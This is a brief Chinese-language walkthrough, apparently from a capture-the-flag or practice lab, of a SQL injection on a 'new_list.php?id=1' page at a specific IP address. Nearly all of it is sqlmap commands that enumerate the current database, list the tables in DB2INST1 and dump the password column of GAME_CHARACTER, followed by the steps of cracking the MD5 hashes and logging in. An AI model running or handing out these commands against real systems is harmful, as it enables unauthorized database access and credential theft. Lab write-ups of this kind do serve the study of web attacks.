利用sqlmap查出库名
python3 sqlmap.py -u http://124.70.71.251:48597/new_list.php?id=1 --current-db查出当前的数据库
python3 sqlmap.py -u http://124.70.71.251:48597/new_list.php?id=1 -D DB2INST1 --tables
查出当前数据库的表
python3 sqlmap.py -u http://124.70.71.251:48597/new_list.php?id=1 -D DB2INST1 -T GAME_CHARACTER -C password --dump查出表中数据
使用md5解密工具解除密码
然后登录就可以进去了